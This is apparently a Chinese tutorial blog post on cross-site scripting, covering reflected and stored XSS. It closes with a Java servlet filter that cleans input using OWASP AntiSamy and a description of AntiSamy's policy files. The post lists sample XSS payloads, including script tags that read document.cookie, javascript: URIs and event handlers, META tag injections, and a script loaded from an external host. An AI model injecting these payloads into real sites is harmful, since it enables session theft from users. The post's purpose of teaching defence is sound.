您的位置:首页 > 其它

XSS 攻击的概念及防御

2017-02-13 14:09 295 查看
什么是XSS?

XSS(Cross Site Scripting),即跨站脚本攻击,是一种常见于web application中的计算机安全漏洞。XSS通过在用户端注入恶意的可运行脚本,若服务器端对用户输入不进行处理,直接将用户输入输出到浏览器,则浏览器将会执行用户注入的脚本。

例如:有一个input输入框,要求用户输入名字,用户输入lily<script>alert("hello world")</script>,服务器接收到用户的输入,并且直接将用户输入输出到页面上,则会有hello world 的alert对话框出现。如果说这是XSS黑客的自娱自乐,那么盗取用户信息的XSS就不那么友好了。如果用户通过注入脚本,盗取你的用户信息如cookie的内容,仿冒正常用户,进行相应的操作,则危害会更大。获取用户的cookie信息非常简单,只需要使用js获取document.cookie,即可以得到。为了便于分析,我们将在用户输入名字框中输入:lily<script>alert(document.cookie)</script>,则你就可以看到你的cookie信息显示在alert对话框中了。

XSS的分类

根据XSS造成的影响,可以将XSS分为非持久型和持久型。

1.非持久型,也叫反射型XSS。通过GET和POST方法,向服务器端输入数据。用户输入的数据通常被放置在URL的query string中,或者是form 数据中。如果服务器端对输入的数据不进行过滤,验证或编码,就直接将用户输入的信息直接呈现给客户,则可能会造成反射型XSS。反射型XSS是比较普遍的XSS,其危害程度通常被认为较小。但是某些反射型XSS造成的后果会很严重,如在输入框的name中输入<meta
http-equiv="refresh" content="5" />,服务器不加处理,将name的值直接送到浏览器,则浏览器会每5秒自动刷新一次。严重者会导致服务器崩溃。

2.持久型,也叫存储型XSS。通常是因为服务器端将用户输入的恶意脚本没有通过验证就直接存储在数据库,并且每次通过调用数据库的方式,将数据呈现在浏览器上。则该XSS跨站脚本攻击将一直存在。若其他用户访问该页面,则恶意脚本就会被触发,用于盗取其他用户的私人信息。

常用XSS方式分为以下几种:
1. 输入框中直接输入恶意脚本,如:

     ><script>alert(document.cookie)</script>

2. 输入框中输入html标签,在标签中嵌入恶意脚本,如src,href,css style等。

<IMG SRC="javascript:alert('XSS');">;
<BODY BACKGROUND="javascript:alert('XSS')">
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>

3.将恶意脚本注入在event事件中,如onClick,onBlur,onMouseOver等事件。

<a onmouseover="alert(document.cookie)">xxs link</a>

4. 在remote style sheet,javascript中,如

<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>

5. META 标签,如

<meta http-equiv="refresh" content="5" />
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">

如何预防以上两种XSS攻击?
1. 在输入流中截住form data中的恶意脚本
     研究两种XSS攻击,如反射型和存储型XSS攻击,其恶意脚本都是来自用户的输入。因此,可以使用过滤用户输入的方法对恶意脚本进行过滤。对简单的HTTP请求,一般使用GET和POST方法。当使用GET时,用户输入的数据将被放入地址栏的URL中,如:http://xxxx?name1=value1&name2=value2…..。其中,URL之后会放入键值对,对应name1的值为value1,name2的值为value2,等等。而对于POST方法,则用户输入数据仍然以name1=value1&name2=value2.。。。,但是数据键值对不会放进URL之后,而是放进了request的body中。因此,我们得到一个结论,所有的数据都存储在request中,我们可以截下进入server的每一个request,对用户的输入数据进行恶意脚本清理。其中有效的一个方法就是使用spring的filter。代码示例如下,在web.xml中加入以下代码段:
<filter>
        <filter-name>XSS</filter-name>
        <filter-class>com.springapp.domain.XssFilter</filter-class>
    </filter>

    <filter-mapping>
        <filter-name>XSS</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>

其中XssFilter为自定义的class,该类必须实现Filter类,在XssFilter类中实现doFilter函数。

public class XssFilter implements Filter {
private FilterConfig filterConfig;

@Override
public void init(FilterConfig filterConfig) throws ServletException {
this.filterConfig = filterConfig;
}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
chain.doFilter(new XssRequestWrapper((HttpServletRequest) request),response);
}

@Override
public void destroy() {
this.filterConfig = null;
}
}


那么我们怎样对每个request都进行过滤操作呢?怎么样对用户输入的数据进行操作呢?form数据都存储在什么地方传给servlet的呢?
     通常情况下,可以通过调用request.getParameter来获得单个对应name对应的value。若form的传入参数中,一个name值对应多个value,则可以使用request.getParameterValues来获得name值的多个对应值。少数情况下,当你需要raw request的适合,可以使用getReader和getInputStream。
     但是我们可以发现,直接对httpServletRequest的parameter进行set操作会报错,因此需要使用HttpServletRequestWrapper。HttpServletRequestWrapper允许我们重写servletRequest的各种方法,以便对request进行直接操作。
     因此,我们可以在自定义的RequestWrapper中,对getParameter和getParameterValues进行重写,从而达到对各个用户输入的form参数的值进行过滤,滤掉form data中的恶意脚本。

public class XssRequestWrapper extends HttpServletRequestWrapper {

private static Policy policy = null;
private static ResourceLoader resourceLoader=new DefaultResourceLoader();

static{
Resource resource=resourceLoader.getResource("classpath:antisamy-anythinggoes.xml");
String path="";
try {
path=resource.getURL().getPath();
if(path.startsWith("file")){
path = path.substring(6);
}
policy = Policy.getInstance(path);
} catch (IOException e) {
e.printStackTrace();
} catch (PolicyException e) {
e.printStackTrace();
}
}

public XssRequestWrapper(HttpServletRequest request) {
super(request);
}

@SuppressWarnings("rawtypes")
public Map<String,String[]> getParameterMap(){
Map<String,String[]> request_map = super.getParameterMap();
Iterator iterator = request_map.entrySet().iterator();
System.out.println("request_map"+request_map.size());
while(iterator.hasNext()){
Map.Entry me = (Map.Entry)iterator.next();
//System.out.println(me.getKey()+":");
String[] values = (String[])me.getValue();
for(int i = 0 ; i < values.length ; i++){
System.out.println(values[i]);
values[i] = xssClean(values[i]);
}
}
return request_map;
}
public String[] getParameterValues(String paramString)
{
String[] arrayOfString1 = super.getParameterValues(paramString);
if (arrayOfString1 == null)
return null;
int i = arrayOfString1.length;
String[] arrayOfString2 = new String[i];
for (int j = 0; j < i; j++)
arrayOfString2[j] = xssClean(arrayOfString1[j]);
return arrayOfString2;
}

public String getParameter(String paramString)
{
String str = super.getParameter(paramString);
if (str == null)
return null;
return xssClean(str);
}

public String getHeader(String paramString)
{
String str = super.getHeader(paramString);
if (str == null)
return null;
return xssClean(str);
}

private String xssClean(String value) {
AntiSamy antiSamy = new AntiSamy();
try {
//CleanResults cr = antiSamy.scan(dirtyInput, policyFilePath);
final CleanResults cr = antiSamy.scan(value, policy);
//安全的HTML输出
return cr.getCleanHTML();
} catch (ScanException e) {
e.printStackTrace();
} catch (PolicyException e) {
e.printStackTrace();
}
return value;
}

/**
* 在我们使用AntiSamy进行测试时,发现确实能够有效的控制xss攻击,
* 用户的非法输入全部被删除或替换了,但是也发现会把“ ”
* 转换成乱码,把双引号转换成"""
* @param value
* @return
*/
private String stringxssClean(String value) {
AntiSamy antiSamy = new AntiSamy();
try {
//CleanResults cr = antiSamy.scan(dirtyInput, policyFilePath);
final CleanResults cr = antiSamy.scan(value, policy);
//安全的HTML输出
String str= StringEscapeUtils.unescapeHtml(cr.getCleanHTML());
str=str.replaceAll((antiSamy.scan(" ",policy)).getCleanHTML(),"");
return str;
} catch (ScanException e) {
e.printStackTrace();
} catch (PolicyException e) {
e.printStackTrace();
}
return value;
}

public static void main(String[] args) {
Resource resource=resourceLoader.getResource("classpath:antisamy-slashdot.xml");
String path="";
try {
path=resource.getURL().getPath();
if(path.startsWith("file")){
path = path.substring(6);
}
policy = Policy.getInstance(path);
} catch (IOException e) {
e.printStackTrace();
} catch (PolicyException e) {
e.printStackTrace();
}
}
}


最后:


标准策略文件说明


antisamy-slashdot.xml

Slashdot (  http://www.slashdot.org/  )  是一个提供技术新闻的网站,它允许用户用有限  的  HTML  格式的内容匿名回帖。  Slashdot 不仅仅是目前同类中最酷的网站之一,而  且同时也曾是最容易被成功攻击的网站之一。更不幸的是,导致大部分用户遭受攻  击的原由是臭名昭着的  goatse.cx  图片  (  请你不要刻意去看  )  。  Slashdot 的安全策略非  常严格:用户只能提交下列的  html  标签:  <b>, <u>, <i>, <a>,<blockquote> 
,并且  还不支持  CSS. 

因此我们创建了这样的策略文件来实现类似的功能。它允许所有文本格式的标签来  直接修饰字体、颜色或者强调作用。


antisamy-ebay.xml

众所周知,  eBay (  http://www.ebay.com/  )  是当下最流行的在线拍卖网站之一。它是一  个面向公众的站点,因此它允许任何人发布一系列富  HTML  的内容。  我们对  eBay  成为一些复杂  XSS  攻击的目标,并对攻击者充满吸引力丝毫不感到奇怪。由于  eBay  允许  输入的内容列表包含了比  Slashdot 更多的富文本内容,所以它的受攻击面也要大得多。下  面的标签看起来是  eBay  允许的(  eBay  没有公开标签的验证规则)  :     <a>,..


antisamy-myspace.xml

MySpace ( http://www.myspace.com/  )  是最流行的一个社交网站之一。用户允许提交  几乎所有的他们想用的  HTML  和  CSS  ,只要不包含  JavaScript 。  MySpace  现在用一  个黑名单来验证用户输入的  HTML  ,这就是为什么它曾受到  Samy  蠕虫攻击  ( http://namb.la/)  的原因。  Samy  蠕虫攻击利用了一个本应该列入黑名单的单词  (eval)  来进行组合碎片攻击的,其实这也是  AntiSamy 立项的原因。  


antisamy-anythinggoes.xml 

也很难说出一个用这个策略文件的用例。如果你想允许所有有效的  HTML  和  CSS  元素输入(但能拒绝  JavaScript 或跟  CSS  相关的网络钓鱼攻击),你可以使用  这个策略文件。其实即使  MySpace 也没有这么疯狂。然而,它确实提供了一个很  好的参考,因为它包含了对于每个元素的基本规则,所以你在裁剪其它策略文件的  时候可以把它作为一个知识库。  
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: